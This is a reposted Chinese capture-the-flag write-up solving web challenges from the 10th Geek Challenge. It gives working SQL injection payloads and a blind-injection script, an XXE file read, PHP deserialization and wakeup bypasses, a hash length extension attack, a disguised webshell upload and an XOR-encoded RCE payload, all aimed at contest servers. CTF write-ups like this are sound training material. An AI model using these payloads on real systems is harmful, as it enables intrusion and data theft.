第十届极客大挑战

1、打比赛前先撸一只猫!

F12查看元素:简单的传参令?cat=dog即出flag
2、你看见过我的菜刀么

打开页面eval($_POST[“Syc”]);搬出菜刀连接找到flag即可
3、 BurpSuiiiiiit!!!

下载附件解压使用bp的Extender导入一个java类型的查看errors即得flag
4、性感潇文清,在线算卦

打开一个登陆界面,先随意输登陆一下,出现如下
在这里插入图片描述
试着访问返回you are too slow,根据前面提示:试试条件竞争吧。
构造py脚本:

import requests
url='http://148.70.59.198:42534/uploads/82e0b4cbef841f493daf51a9550908794b8faca3/d033e22ae348aeb5660fc2140aec35850c4da997'
while 1:
    f=requests.get(url)
    if 'Syc' in f.text:
        print(f.text)

    1
    2
    3
    4
    5
    6

同时通过bp不断提交,即可得flag,原理可见传送门
5、Easysql

直接万能密码登陆username:’=’ ,password:’=’ 。
或者简单的字符型联合注入
6、Lovelysql

字符型联合注入

'union select 1,2,password from l0ve1ysq1-- -

    1

7、Babysql

过滤常用关键字or,select,from,union,where,双写绕过
payload

?username=admin&password=1' uniounionn selecselectt 1,2,group_concat(passwoorrd) frofromm b4bsql-- -

    1

8、性感黄阿姨,在线聊天:

点击一个聊天界面我们直接flag发送并抓包,据回应将name改为admin,出现如下,当满足name == md5(flag)即可知flag文件位置
在这里插入图片描述php中的== 为弱相等,如16==“16” --> true,而且16==“16cdf” --> true,只取字符串中开头的整数部分,所以我们可以试着爆破name的值,爆破得值为357
在这里插入图片描述可知flag所在文件_f14g_Is_Here_.php,XXE构造payload使用php伪协议读取文件,XXE:XML External Entity Injection即xml外部实体注入漏洞
参考大牛传送

<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=_f14g_Is_Here_.php">
]>
<root>
<name>&xxe;</name>
<request>flag</request>
</root>

    1
    2
    3
    4
    5
    6
    7

注:将Content-Type改为application/xml这样才能执行我们的payload
9、反序列化1.0

查看源码,构造payload

<?php
class Student{
    public $score=10000;
}
$user=new Student();
print_r(serialize($user));
?>

    1
    2
    3
    4
    5
    6
    7

最后传参序列化对象?exp=O:7:“Student”:1:{s:5:“score”;i:10000;}
10、神秘的三叶草

查看源码发现Secret.php超链接,访问出现It doesn’t come from ‘https://www.Sycsecret.com’,使用bp在请求头处添加Referer:https://www.Sycsecret.com,Referer告诉服务器该网页是从哪个页面链接过来的
Go
在这里插入图片描述
更改User-Agent:Syclover,出现
在这里插入图片描述
最终发送如下请求
在这里插入图片描述得到flag
11、Jiang‘s Secret

审计如下代码

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file);
//flag放在了flag.php里
?>
</html>

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15

php伪协议读取代码?file=php://filter/read=convert.base64-encode/resource=flag.php 之后base64解码即得flag
12、你有初恋吗

此处一只单身狗(恨呐!)
代码审计

<!--
$adore='***************';
$now = $_POST['lover'];
setcookie("Heart", md5($adore.'syclover'));
if(isset($now)&&$now!=syclover) {
    if($_COOKIE['Heart'] === md5($adore. urldecode($now))){
        die ($flag);
        }else {
            die('I do not love you! You are not in my heart!');
            }
    }
-->

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12

1、通过url二次编码绕过,post
lover=%25%37%33yclover
2、哈希长度扩展攻击
使用hashpump

Input Signature:6a1ce5f4dc83320710006a786ac82c17
Input Data:syclover
Input Key Length:15
Input Data to Add:pcat

    1
    2
    3
    4

得到:
New Signature:77123c8c671874dcfd43cc6c80c511d0
syclover\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00pcat
将Heart值改为New Signature之后将\x替换为%
post,lover=syclover%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00pcat
13、又来一只猫

页面显示源码备份,Fuzz发现www.zip下载,关键代码

 <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

    1
    2
    3
    4
    5

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41

介绍下代码中出现的魔术方法
__construct():对象创建时自动被调用;
__wakeup():反序列化之前进行的回调函数;
__destruct():脚本运行结束时自动被调用;

<?php
class Name{
    private $username ='admin';
    private $password =100;
    public $test1="hello";
    protected $test2="hello";
}
$user=new Name();
print_r(serialize($user));
?>

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10

private的参数被反序列化后变成 \00Name\00username, public的参数变成test1, protected的参数变成 \00*\00test2
当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
所以payload:

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

    1

14、你有特洛伊么

文件上传通过fuzz,发现后缀名黑名单检验,文件头校验,文件内容检测<?
于是构造php.php

GIF89a <script language="php">@eval($_POST['code'];</script>

    1

通过文件头及文件内容检测,将后缀名修改为.jpg上传成功
又或是DOS命令
copy 1.jpg/a+php.php/b php.jpg(b表示二进制,a表示ascii码)第一个/a表示指定以ascii格式进行复制(合并) 第二个/b表示以什么样的格式保存我们刚刚合并的那个文件,做一个图片马
之后验证未被过滤的后缀名php2,php3,php4,php5,phps,pht,phtm,phtml,发现phtml可解析。
在这里插入图片描述
菜刀连接,找到flag即可
15、Eval evil code

对验证码脚本

import hashlib
for i in range(1000000000):
    kk=hashlib.md5()
    kk.update(str(i).encode('utf8'))
    res=kk.hexdigest()
    if res[:4]=='8993':
        print(i)
        break

    1
    2
    3
    4
    5
    6
    7
    8
    9

当输入eval时返回
在这里插入图片描述即无参数函数执行,传送门
最终请求

POST /index.php HTTP/1.1
Host: 148.70.59.198:34386
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Origin: http://148.70.59.198:34386
Connection: close
Referer: http://148.70.59.198:34386/
Cookie: td_cookie=2880285366; PHPSESSID=c77bd6fa17502141bc8cccad55ff3bb6
Upgrade-Insecure-Requests: 1
kk: readfile("theflag.php");

payload=eval(end(getallheaders()));&code=17105

 

 

第十届极客大挑战——部分web和RE的WP

昨天刚刚搞完湖湘杯和软考,累的一批,,,,湖湘杯的wp就不写了,写写这个wp
这个好像是一个月之前就开始的,打了一个月,不断的放题,题也做了不少,,,
其他的就不记录了,就记录一下web和RE方面的,,,,
可能有些题是比较简单咯,但是我就是决定记录一下,
简单怎么了?就不能记录了吗?好笑,我就是喜欢记录!!
web - 打比赛前先撸一只猫!

打开查看源码得到:
在这里插入图片描述
直接get传递参数cat=dog得到flag
在这里插入图片描述
web - 你看见过我的菜刀么

基本操作,页面给了shell,菜刀链接即可:
在这里插入图片描述
多找找就能找到flag
web - BurpSuiiiiiit!!!

emmm,这道题是真的骚,说实话我也是第一次看见这种题
根据题意可知利用BurpSuit,下载文件发现是一个jar文件????
不知所措,后来发现,文件名对应着一个bp上的功能!!
在这里插入图片描述
bp添加扩展的地方??直接把jar文件加入,最后在错误的页面中看见了flag!!
在这里插入图片描述
web - 性感潇文清,在线算卦

查看源代码,发现给出了php源代码:
在这里插入图片描述
就是一开始文件存在flag,但是经过很快的一段时间就变了,所以我们必须在内容更改之前访问到文件内容
利用python多线程跑即可:

import requests
import threading
import time
 
url = "http://148.70.59.198:42534/?u=123&p=123"
url2 = "http://148.70.59.198:42534/uploads/46f19b997a3e5633e191012e6d0ba7148daf76e2/40bd001563085fc35165329ea1ff5c5ecbdbbeef"
 
class myThread (threading.Thread):
    def __init__(self, threadID, name, counter):
        threading.Thread.__init__(self)
        self.threadID = threadID
        self.name = name
        self.counter = counter
    def run(self):               
        print("Starting " + self.name)
        f(self.name, self.counter)
        print("Exiting " + self.name)
 
def f(url,url2):
    while 1:
        txt1 = requests.get(url)
        txt2 = requests.get(url2)
        print(txt2.text)

thread1 = myThread(1,url,url2)
thread2 = myThread(2,url,url2)
 
thread1.start()
thread2.start()
 
print("Exiting Main Thread")

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31

当然我还有同学是使用bp的,原理差不多,,,
web - Easysql

emmm,so简单,万能密码直接登录拿到flag:
在这里插入图片描述
web - RCE me

打开来可以看见源码:

<?php
error_reporting(0);
if(isset($_GET['code'])){
        $code=$_GET['code'];
            if(strlen($code)>40){
                    die("This is too Long.");
                    }
            if(preg_match("/[A-Za-z0-9]+/",$code)){
                    die("NO.");
                    }
            @eval($code);
}
else{
        highlight_file(__FILE__);
}
highlight_file(__FILE);

// ?>

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18

emmm,这道题肝了很久很久,,,,,
一开始以为$被过滤了,结果问了出题师傅,才知道,是因为自己传参的原因,走了多少冤枉路啊
因为过滤了大小写字母和数字,所以我们不能直接传递这些,利用异或来进行绕过!!!

payload:?code=$_="`{{{"^"?<>/";;${$_}[_](${$_}[__]);&_=assert&__=执行的命令

    1

就是如此,构造payload,其实中间省略了一些步骤
比如说查看phpinfo,我们可以发现有很多函数被禁用了
不过assert没有,所以我们才会使用这个函数,这个payload也可以查看咯:
在这里插入图片描述
总之没过程就不详细说了,根目录下有flag不过不能读取文件,但是功夫不负有心人啊
最后我竟然在tmp文件夹中找到了一个exploit.php文件!!!读取一下内容发现作用是读取flag的,嘿嘿嘿
直接利用这个exp!!最后得到flag:
在这里插入图片描述
web - Lovelysql

emmm,一样的sql注入的题目,没有什么东西,就是一个简单的报错注入,,,,
利用union语句即可,利用bp抓包进行注入就好了,这里也就不多说了
反正按照常规方法就能得到flag,毕竟也没有过滤什么
在这里插入图片描述
web - Babysql

emmmm,和上一题差不多,只不过过滤了一些关键字,双写即可绕过
基本都与上一题的操作一样,不多说了
在这里插入图片描述
web - 神秘的三叶草

emmm,查看源代码可以找到一个页面:
在这里插入图片描述
进行访问!得到:
在这里插入图片描述
到这里就不难了,后续就不详细说了,就是一个改referer,X-Forwarded-For,还有个浏览器啥的,都是基本的操作了
web - Jiang‘s Secret

打开查看源代码的到一个新的网页:
在这里插入图片描述
进行访问:
在这里插入图片描述
点击SECRET得到一个提示,说什么东西过去了,直接抓包得到:
在这里插入图片描述
进行访问,得到源码:

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file);
//flag放在了flag.php里
?>
</html>

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15

emmm,直接使用文件包含即可

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

    1

将得到的base64解码德科得到flag
web - Hardsql

emmm,这个要说一下了,这个是快结束的时候才做出来的,有个hint说是报错注入
一开始进行尝试,发现and被过滤了,空格也被过滤了,最后找到解决方案,报错嘛,可以利用updataxml嘛
先贴上payload:

?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=123

    1

整个过程的注入语句:

updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)
updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)

    1
    2
    3
    4

最后的到flag:
在这里插入图片描述
web - 反序列化1.0

查看源码,得到:

socre 10000!!!!
<br><!--
class Student
{
    public $score = 0;
    public function __destruct()
    {
        echo "__destruct working";
        if($this->score==10000) {
            $flag = "******************";
            echo $flag;
        }
    }
}
$exp = $_GET['exp'];
echo "<br>";
unserialize($exp);
?>

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18

emmm,基本的反序列化,直接构造:
在这里插入图片描述
传递进入,得到flag:
在这里插入图片描述
web - 又来一只猫

emmm,打开就得到提示:
在这里插入图片描述
直接访问一下www.zip得到源码文件:
在这里插入图片描述
查看index.php,看见存在反序列化:
在这里插入图片描述
查看一下class.php:

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41

可以看见$this->username要等于admin,$this->password要等于100就能够的到flag
不过有个__wakeup方法,这个方法就是当反序列化时最先调用这个方法,
需要绕过这个方法,接下来我们先进行构造
在这里插入图片描述
有一点需要注意,private私有的变量进行序列化格式是不一样的
得到的构造如下:

?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

    1

不过现在还没有显示,需要我们进行绕过,所以我们让变量加1即可:

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

    1

得到:
在这里插入图片描述
web - 你有初恋吗

emmm,直接开题:
在这里插入图片描述
查看源代码可以看见源码:
在这里插入图片描述
这颜色,绿的发慌,,,
看见有urldecode??这就好办了呀,直接二次URL编码
构造:lover=%2573yclover
在这里插入图片描述
web - Finalsql

emmmm,直接开题:
在这里插入图片描述
得到提示,盲注!!!
而且这个题还有坑点,注入点变了!!!!!不再是登陆框,而是一个id的页面,,,
就在id=1的页面进行注入即可,过滤了空格、and、or、mid、#等其他的没测试
这是条件为真的时候的页面显示:
在这里插入图片描述
为假时:
在这里插入图片描述
直接上脚本吧,还有一点就是内容特别多,flag藏在中间!!!
两个表,一个表没得用,flag在password中
跑了很久,没用二分法,,,反正时间不着急,啊哈哈哈哈:

import requests
import io
import sys
import string
import time

sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8')        #改变标准输出的默认编码,否则s.text不能输出
'''
url = "http://118.25.14.40:8104/search.php?id=1=(1)=1"
s = requests.get(url)
s.encoding = 'utf-8'
content = s.content

#检验是否成功
if 'NO! Not this! Click others~~~' in s.text:
    s.encoding = 'gbk'
    print(s.text)
    

#构造sql注入语句
F1naI1y,Flaaaaag
and(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))=xxx)and(length(database()))!='20
ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%s,1))=%s
ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='do_y0u_l1ke_long_t4ble_name')),%s,1))=%s
ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),%s,1))=%s
'''

url = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%s,1))=%s)=1"
url2 = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%s,1))=%s)=1"
url3 = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),%s,1))=%s)=1"
url4 = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%s,1))=%s)=1"
url5 = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(password))from(F1naI1y)),%s,1))=%s)=1"
ss = ""
x = string.printable

for i in range(1,30):
    for j in x:
        payload = url5%(str(i),ord(j))
        #print(payload)
        time.sleep(0.5)
        s = requests.get(payload)
        if 'NO! Not this! Click others~~~' in s.text:
            ss += j
            print(ss)
            break
————————————————
版权声明:本文为CSDN博主「A_dmins」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_42967398/article/details/102979306
————————————————
版权声明:本文为CSDN博主「越今朝!」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_45372008/article/details/103018362

posted @ 2019-12-24 17:00  NBBack  阅读(1471)  评论(0编辑  收藏  举报